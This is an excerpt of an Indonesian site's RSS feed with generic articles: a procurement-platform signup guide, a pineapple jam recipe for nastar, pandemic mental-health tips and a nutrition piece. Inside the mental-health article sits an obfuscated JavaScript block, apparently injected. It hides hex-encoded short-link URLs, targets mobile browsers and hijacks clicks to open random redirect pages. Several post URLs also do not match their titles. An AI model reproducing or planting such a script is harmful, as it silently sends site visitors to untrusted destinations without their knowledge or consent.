180. <p style="text-align: justify;">Selanjutnya, Anda tinggal melakukan riset password atas akun Anda dan selanjutnya akun Anda bisa digunakan.</p>
181. <p style="text-align: justify;">Perlu Anda ketahui terlebih dahulu, akun yang Anda akan dapatkan berjumlah dua buah. Satu akun digunakan untuk buyer staff dalam melakukan semua transaksi dan negosiasi pengadaan barang dan jasa.</p>
182. <p style="text-align: justify;">Sedangkan, akun kedua digunakan oleh buyer manager untuk proses approval dan review atas setiap negosiasi dan transaksi yang dilakukan oleh akun buyer staff.</p>
183. <p style="text-align: justify;">Banyak sekali bukan keuntungan yang bisa Anda dapatkan dengan bergabung di Xooply? Jadi tunggu apalagi, segera bergabung dengan Xooply sekarang juga!</p><p>The post <a href="https://lensawartawan.com/tata-cara-mendaftarkan-perusahaan-anda-sebagai-buyer-di-xooply-id/">TATA CARA MENDAFTARKAN PERUSAHAAN ANDA SEBAGAI BUYER DI XOOPLY.ID!</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
187. </item>
188. <item>
189. <title>Tips dan Trik Membuat Selai Nanas untuk Nastar 1 Kg</title>
190. <link>https://lensawartawan.com/tips-dan-trik-membuat-selai-nanas-untuk-nastar-1-kg/</link>
192. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
193. <pubDate>Tue, 10 Oct 2023 03:08:59 +0000</pubDate>
194. <category><![CDATA[Berita]]></category>
195. <guid isPermaLink="false">https://lensawartawan.com/?p=4861</guid>
196.  
197. <description><![CDATA[<p>Pendahuluan Nastar adalah salah satu kue kering yang sangat populer, terutama di Indonesia. Rasanya yang manis dan sedikit asam dari selai nanas yang melapisi kue, memberikan sentuhan lezat yang membuat siapa pun sulit berhenti untuk mencicipinya. Salah satu elemen kunci dari nastar adalah selai nanas yang digunakan sebagai isian. Dalam artikel ini, kami akan membagikan ... <a title="Tips dan Trik Membuat Selai Nanas untuk Nastar 1 Kg" class="read-more" href="https://lensawartawan.com/tips-dan-trik-membuat-selai-nanas-untuk-nastar-1-kg/" aria-label="Read more about Tips dan Trik Membuat Selai Nanas untuk Nastar 1 Kg">Read more</a></p>
198. <p>The post <a href="https://lensawartawan.com/tips-dan-trik-membuat-selai-nanas-untuk-nastar-1-kg/">Tips dan Trik Membuat Selai Nanas untuk Nastar 1 Kg</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
199. <content:encoded><![CDATA[<div class="flex-1 overflow-hidden">
200. <div class="react-scroll-to-bottom--css-opdyn-79elbk h-full dark:bg-gray-800">
201. <div class="react-scroll-to-bottom--css-opdyn-1n7m0yu">
202. <div class="flex flex-col text-sm dark:bg-gray-800">
203. <div class="group w-full text-token-text-primary border-b border-black/10 gizmo:border-0 dark:border-gray-900/50 gizmo:dark:border-0 bg-gray-50 gizmo:bg-transparent dark:bg-[#444654] gizmo:dark:bg-transparent" data-testid="conversation-turn-21">
204. <div class="p-4 justify-center text-base md:gap-6 md:py-6 m-auto">
205. <div class="flex flex-1 gap-4 text-base mx-auto md:gap-6 gizmo:gap-3 gizmo:md:px-5 gizmo:lg:px-1 gizmo:xl:px-5 md:max-w-2xl lg:max-w-[38rem] gizmo:md:max-w-3xl gizmo:lg:max-w-[40rem] gizmo:xl:max-w-[48rem] xl:max-w-3xl }">
206. <div class="relative flex w-[calc(100%-50px)] flex-col gap-1 gizmo:w-full md:gap-3 lg:w-[calc(100%-115px)] agent-turn">
207. <div class="flex flex-grow flex-col gap-3 max-w-full">
208. <div class="min-h-[20px] flex flex-col items-start gap-3 whitespace-pre-wrap break-words overflow-x-auto">
209. <div class="markdown prose w-full break-words dark:prose-invert light">
210. <h2 style="text-align: justify;">Pendahuluan</h2>
211. <p style="text-align: justify;">Nastar adalah salah satu kue kering yang sangat populer, terutama di Indonesia. Rasanya yang manis dan sedikit asam dari selai nanas yang melapisi kue, memberikan sentuhan lezat yang membuat siapa pun sulit berhenti untuk mencicipinya. Salah satu elemen kunci dari nastar adalah selai nanas yang digunakan sebagai isian. Dalam artikel ini, kami akan membagikan <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://infonegeri.com/resep-selai-nanas-untuk-nastar/"><strong>resep selai nanas untuk nastar 1 kg</strong></a></span>.</p>
212. <h2 style="text-align: justify;">Menyiapkan Selai Nanas: Bahan-bahan</h2>
213. <p style="text-align: justify;">Sebelum memasuki langkah-langkah pembuatan selai nanas, mari kita lihat bahan-bahan yang diperlukan untuk menyusun selai nanas yang lezat ini:</p>
214. <h3 style="text-align: justify;">Bahan Utama:</h3>
215. <ol style="text-align: justify;">
216. <li>1 kg nanas segar, kupas dan potong-potong</li>
217. <li>300 gram gula pasir (bisa disesuaikan sesuai selera manis yang diinginkan)</li>
218. <li>1 batang kayu manis (opsional)</li>
219. <li>2-3 cengkeh (opsional)</li>
220. <li>1/2 sendok teh garam</li>
221. <li>1/2 sendok teh asam sitrat atau perasan air jeruk nipis</li>
222. </ol>
223. <h2 style="text-align: justify;">Langkah-langkah Pembuatan Selai Nanas untuk Nastar</h2>
224. <p style="text-align: justify;">Berikut adalah langkah-langkah untuk membuat selai nanas yang nikmat untuk mengisi nastar sekitar 1 kg:</p>
225. <h3 style="text-align: justify;">Langkah 1: Persiapkan Bahan</h3>
226. <ol style="text-align: justify;">
227. <li>Kupas nanas dan potong menjadi potongan kecil-kecil. Buang bagian tengah nanas yang mengandung biji.</li>
228. </ol>
229. <h3 style="text-align: justify;">Langkah 2: Proses Memasak</h3>
230. <ol style="text-align: justify;">
231. <li>Masukkan potongan nanas ke dalam panci bersama dengan gula pasir, kayu manis (jika digunakan), dan cengkeh (jika digunakan). Panaskan dengan api sedang.</li>
232. <li>Masak nanas hingga lembut dan gula larut. Aduk sesekali.</li>
233. </ol>
234. <h3 style="text-align: justify;">Langkah 3: Haluskan Adonan</h3>
235. <ol style="text-align: justify;">
236. <li>Setelah nanas lembut dan larut dengan gula, angkat batang kayu manis dan cengkeh (jika digunakan).</li>
237. <li>Haluskan nanas dengan menggunakan blender atau alat penghalus lainnya hingga membentuk tekstur selai yang lembut.</li>
238. </ol>
239. <h3 style="text-align: justify;">Langkah 4: Memasak Kembali</h3>
240. <ol style="text-align: justify;">
241. <li>Masukkan kembali selai nanas yang sudah dihaluskan ke dalam panci.</li>
242. <li>Tambahkan garam dan asam sitrat atau air jeruk nipis. Aduk rata.</li>
243. <li>Masak selai dengan api kecil hingga mendidih dan mengental. Aduk secara teratur untuk menghindari gosong.</li>
244. </ol>
245. <h3 style="text-align: justify;">Langkah 5: Periksa Tekstur dan Kematangan</h3>
246. <ol style="text-align: justify;">
247. <li>Uji tekstur selai dengan meneteskan sebagian kecil selai di atas piring yang telah didinginkan. Biarkan sejenak. Jika selai mengental dan tidak mudah menetes, maka selai sudah siap.</li>
248. <li>Jika masih terlalu cair, masak selai kembali hingga mencapai konsistensi yang diinginkan.</li>
249. </ol>
250. <h2 style="text-align: justify;">Tips Tambahan</h2>
251. <ul style="text-align: justify;">
252. <li>Anda dapat menyesuaikan jumlah gula sesuai dengan selera manis Anda. Beberapa orang lebih suka selai nanas yang lebih manis, sementara yang lain lebih menyukai yang sedikit asam.</li>
253. <li>Simpan selai nanas dalam wadah kedap udara setelah dingin. Selai dapat bertahan lama jika disimpan dengan baik di dalam lemari es.</li>
254. </ul>
255. <h2 style="text-align: justify;">Penutup</h2>
256. <p style="text-align: justify;">Selai nanas adalah salah satu elemen kunci dalam membuat nastar yang lezat. Dengan resep yang tepat dan langkah-langkah yang jelas, Anda dapat dengan mudah membuat selai nanas yang nikmat untuk mengisi nastar sekitar 1 kg. Selamat mencoba dan semoga nastar yang Anda buat menjadi lezat dan disukai oleh semua orang!</p>
257. </div>
258. </div>
259. </div>
260. </div>
261. </div>
262. </div>
263. </div>
264. </div>
265. </div>
266. </div>
267. </div><p>The post <a href="https://lensawartawan.com/tips-dan-trik-membuat-selai-nanas-untuk-nastar-1-kg/">Tips dan Trik Membuat Selai Nanas untuk Nastar 1 Kg</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
271. </item>
272. <item>
273. <title>Judul: Menjaga Kesehatan Mental di Tengah Pandemi Covid-19</title>
274. <link>https://lensawartawan.com/cara-mengurus-visa-ke-dubai/</link>
276. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
277. <pubDate>Sat, 23 Sep 2023 23:59:00 +0000</pubDate>
278. <category><![CDATA[Tips Dan Trik]]></category>
279. <guid isPermaLink="false">https://lensawartawan.com/?p=923</guid>
280.  
281. <description><![CDATA[<p>Merawat Diri di Masa Pandemi Hello pembaca, pandemi Covid-19 telah mengubah kehidupan kita dalam berbagai aspek. Selain efek fisik yang ditimbulkan oleh virus ini, kesehatan mental juga menjadi perhatian penting. Di tengah situasi yang meningkatkan tingkat stres, penting bagi kita untuk menjaga kesehatan mental secara optimal. Dalam artikel ini, kita akan membahas berbagai aspek yang ... <a title="Judul: Menjaga Kesehatan Mental di Tengah Pandemi Covid-19" class="read-more" href="https://lensawartawan.com/cara-mengurus-visa-ke-dubai/" aria-label="Read more about Judul: Menjaga Kesehatan Mental di Tengah Pandemi Covid-19">Read more</a></p>
282. <p>The post <a href="https://lensawartawan.com/cara-mengurus-visa-ke-dubai/">Judul: Menjaga Kesehatan Mental di Tengah Pandemi Covid-19</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
283. <content:encoded><![CDATA[<h2>Merawat Diri di Masa Pandemi</h2>
284. <p>Hello pembaca, pandemi Covid-19 telah mengubah kehidupan kita dalam berbagai aspek. Selain efek fisik yang ditimbulkan oleh virus ini, kesehatan mental juga menjadi perhatian penting. Di tengah situasi yang meningkatkan tingkat stres, penting bagi kita untuk menjaga kesehatan mental secara optimal. Dalam artikel ini, kita akan membahas berbagai aspek yang bisa kita lakukan untuk menjaga kesehatan mental selama pandemi Covid-19.</p>
285. <h2>Mengenali Gejala Gangguan Kesehatan Mental</h2>
286. <p>Selama pandemi, banyak orang yang mengalami peningkatan gejala stres, kecemasan, dan depresi. Gejala-gejala ini dapat mempengaruhi kualitas hidup dan produktivitas kita. Oleh karena itu, penting bagi kita untuk mengenali gejala-gejala gangguan kesehatan mental agar dapat mengatasi masalah ini dengan lebih efektif. Beberapa gejala yang sering muncul antara lain seperti perasaan cemas yang berlebihan, sulit tidur, kehilangan minat dalam aktivitas sehari-hari, perubahan nafsu makan, dan perubahan suasana hati yang drastis.</p>
287. <h2>Menjaga Pola Tidur yang Teratur</h2>
288. <p>Salah satu faktor penting dalam menjaga kesehatan mental adalah dengan menjaga pola tidur yang teratur. Pandemi Covid-19 seringkali menyebabkan gangguan tidur seperti insomnia atau tidur yang tidak nyenyak. Kondisi ini dapat mempengaruhi kondisi mental kita, sehingga penting untuk menciptakan rutinitas tidur yang konsisten. Cobalah untuk tidur dan bangun pada waktu yang sama setiap hari, hindari tidur siang yang terlalu lama, dan ciptakan lingkungan tidur yang nyaman dan tenang untuk meningkatkan kualitas tidur.</p>
289. <h2>Melakukan Olahraga Secara Rutin</h2>
290. <p>Selama pandemi, banyak orang mengalami pembatasan dalam aktivitas fisik di luar rumah. Namun, olahraga tetap merupakan bagian penting dalam menjaga kesehatan mental. Olahraga secara rutin dapat mengurangi tingkat stres, meningkatkan produksi endorfin yang membuat kita merasa lebih baik secara emosional, dan meningkatkan kualitas tidur. Meskipun tidak dapat pergi ke gym atau berolahraga di luar rumah seperti biasa, kita masih bisa melakukan olahraga di rumah seperti yoga, pilates, atau olahraga ringan lainnya yang sesuai dengan kondisi kita.</p>
291. <h2>Menjaga Kualitas Pola Makan</h2>
292. <p>Polapola makan yang tidak sehat seringkali dijadikan pelampiasan emosional selama masa pandemi. Konsumsi makanan yang tinggi gula, lemak, dan garam dapat mempengaruhi kesehatan mental kita. Makanan yang kaya akan nutrisi penting dalam menjaga kesehatan otak dan tingkat energi yang stabil. Pastikan kita mengkonsumsi makanan sehat seperti buah-buahan, sayuran, protein, dan biji-bijian dalam jumlah yang cukup. Selain itu, hindari mengonsumsi alkohol dan kafein dalam jumlah yang berlebihan karena dapat mempengaruhi kualitas tidur dan memicu gangguan kesehatan mental.</p>
293. <h2>Menjaga Koneksi Sosial</h2>
294. <p>Salah satu dampak sosial yang dirasakan selama pandemi adalah isolasi sosial. Terbatasnya interaksi sosial dapat mempengaruhi kesehatan mental kita, sehingga penting untuk tetap menjaga koneksi sosial. Meskipun kita harus menjaga jarak sosial, kita masih bisa tetap terhubung dengan orang-orang terdekat melalui telepon, pesan teks, atau video call. Mengikuti kegiatan sosial online atau bergabung dengan komunitas online juga bisa menjadi alternatif untuk tetap berinteraksi dengan orang lain dan mengurangi perasaan kesepian.</p>
295. <h2>Melakukan Aktivitas yang Menyenangkan</h2>
296. <p>Selama pandemi, kita seringkali merasa terjebak dalam rutinitas yang monoton. Untuk menjaga kesehatan mental, penting untuk meluangkan waktu untuk melakukan aktivitas yang menyenangkan. Lakukan hobi atau aktivitas yang kita sukai seperti membaca, menulis, mendengarkan musik, menonton film, atau bermain game. Melakukan aktivitas yang menyenangkan dapat membantu mengurangi stres dan memberikan kesenangan yang positif pada kehidupan kita.</p>
297. <h2>Mencari Bantuan Profesional</h2>
298. <p>Jika kita merasa kesulitan menghadapi masalah kesehatan mental selama pandemi, penting untuk mencari bantuan profesional. Terapis atau konselor dapat membantu kita dalam menjalani proses pemulihan dan memberikan strategi yang efektif untuk mengatasi masalah yang kita hadapi. Jangan ragu untuk mencari bantuan jika kita merasa perlu, karena mengutamakan kesehatan mental adalah langkah penting dalam menjaga keseimbangan hidup kita.</p>
299. <h3>Kesimpulan</h3>
300. <p>Hello pembaca, menjaga kesehatan mental menjadi tantangan penting yang harus kita hadapi selama pandemi Covid-19. Dalam artikel ini, kita telah membahas berbagai aspek yang dapat kita lakukan untuk menjaga kesehatan mental secara optimal. Mulai dari menjaga pola tidur yang teratur, melakukan olahraga secara rutin, menjaga pola makan yang sehat, menjaga koneksi sosial, melakukan aktivitas yang menyenangkan, hingga mencari bantuan profesional jika diperlukan. Dengan melakukan langkah-langkah ini, kita dapat memperkuat kesehatan mental kita dan tetap berada dalam kondisi yang baik meskipun di tengah situasi yang menantang. Tetaplah sehat dan jaga kesehatan mental kita. Terima kasih telah membaca artikel ini.</p>
301. <p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script></p><p>The post <a href="https://lensawartawan.com/cara-mengurus-visa-ke-dubai/">Judul: Menjaga Kesehatan Mental di Tengah Pandemi Covid-19</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
305. </item>
306. <item>
307. <title>Pentingnya Gizi Seimbang dalam Menjaga Kesehatan Tubuh</title>
308. <link>https://lensawartawan.com/cara-mengurus-sipb-bidan-online/</link>
310. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
311. <pubDate>Sat, 23 Sep 2023 23:37:00 +0000</pubDate>
312. <category><![CDATA[Tips Dan Trik]]></category>
313. <guid isPermaLink="false">https://lensawartawan.com/?p=926</guid>
314.  
315. <description><![CDATA[<p>Mengapa Perhatian pada Gizi Seimbang Sangat Penting? Hello pembaca! Saat ini, kesehatan menjadi salah satu hal yang sangat penting dalam kehidupan kita. Salah satu faktor penting dalam menjaga kesehatan adalah dengan menjaga pola makan yang sehat dan gizi yang seimbang. Gizi seimbang berperan penting dalam menjaga kesehatan tubuh dan memberikan energi yang dibutuhkan dalam menjalani ... <a title="Pentingnya Gizi Seimbang dalam Menjaga Kesehatan Tubuh" class="read-more" href="https://lensawartawan.com/cara-mengurus-sipb-bidan-online/" aria-label="Read more about Pentingnya Gizi Seimbang dalam Menjaga Kesehatan Tubuh">Read more</a></p>
316. <p>The post <a href="https://lensawartawan.com/cara-mengurus-sipb-bidan-online/">Pentingnya Gizi Seimbang dalam Menjaga Kesehatan Tubuh</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
317. <content:encoded><![CDATA[<h2>Mengapa Perhatian pada Gizi Seimbang Sangat Penting?</h2>
318. <p>Hello pembaca! Saat ini, kesehatan menjadi salah satu hal yang sangat penting dalam kehidupan kita. Salah satu faktor penting dalam menjaga kesehatan adalah dengan menjaga pola makan yang sehat dan gizi yang seimbang. Gizi seimbang berperan penting dalam menjaga kesehatan tubuh dan memberikan energi yang dibutuhkan dalam menjalani aktivitas sehari-hari. Melalui artikel ini, kita akan membahas pentingnya gizi seimbang untuk menjaga kesehatan tubuh kita.</p>
319. <h2>Apa itu Gizi Seimbang?</h2>
320. <p>Gizi seimbang adalah konsep dimana seseorang mendapatkan asupan gizi yang cukup dan seimbang dari berbagai jenis makanan. Asupan gizi yang seimbang meliputi karbohidrat, protein, lemak, vitamin, mineral serta serat. Semua jenis makanan tersebut memiliki peran penting dalam menjaga kesehatan tubuh dan mengoptimalkan fungsi organ tubuh kita.</p>
321. <h2>Manfaat Gizi Seimbang</h2>
322. <p>Memiliki pola makan yang sehat dan gizi seimbang memiliki banyak manfaat bagi kesehatan tubuh. Salah satu manfaatnya adalah menjaga berat badan yang sehat. Dengan mengonsumsi makanan yang seimbang, tubuh mendapatkan jumlah kalori yang sesuai dengan kebutuhan tubuh sehingga dapat mencegah timbulnya kelebihan berat badan atau obesitas yang dapat menyebabkan berbagai penyakit kronis seperti diabetes dan penyakit jantung.</p>
323. <p>Selain itu, gizi seimbang juga berperan dalam menjaga sistem kekebalan tubuh. Nutrisi yang tepat membantu meningkatkan daya tahan tubuh terhadap serangan penyakit dan infeksi. Tubuh yang mendapatkan asupan gizi yang seimbang akan lebih kuat melawan virus dan bakteri yang dapat menginfeksi tubuh kita.</p>
324. <p>Tidak hanya itu, gizi seimbang juga berperan dalam menjaga kesehatan organ tubuh lainnya. Misalnya, mengonsumsi makanan yang kaya akan serat bisa membantu menjaga kesehatan pencernaan dan mencegah sembelit. Makanan yang mengandung vitamin dan mineral dapat membantu menjaga kesehatan kulit, rambut, dan mata kita.</p>
325. <p>Gizi seimbang juga berperan dalam menjaga kesehatan tulang dan gigi. Tubuh yang mendapatkan asupan kalsium yang cukup akan memiliki tulang dan gigi yang kuat. Hal ini penting terutama untuk pertumbuhan anak-anak dan pencegahan osteoporosis pada orang dewasa.</p>
326. <h2>Tips untuk Menerapkan Gizi Seimbang dalam Kehidupan Sehari-hari</h2>
327. <p>Untuk menerapkan gizi seimbang dalam kehidupan sehari-hari, ada beberapa tips yang dapat Anda lakukan. Pertama, pastikan Anda mengonsumsi berbagai jenis makanan dari semua kelompok makanan yang diperlukan oleh tubuh. Misalnya, makanan yang mengandung karbohidrat seperti nasi, roti, dan pasta, protein seperti daging, ikan, dan kacang-kacangan, serta lemak sehat seperti minyak zaitun dan alpukat.</p>
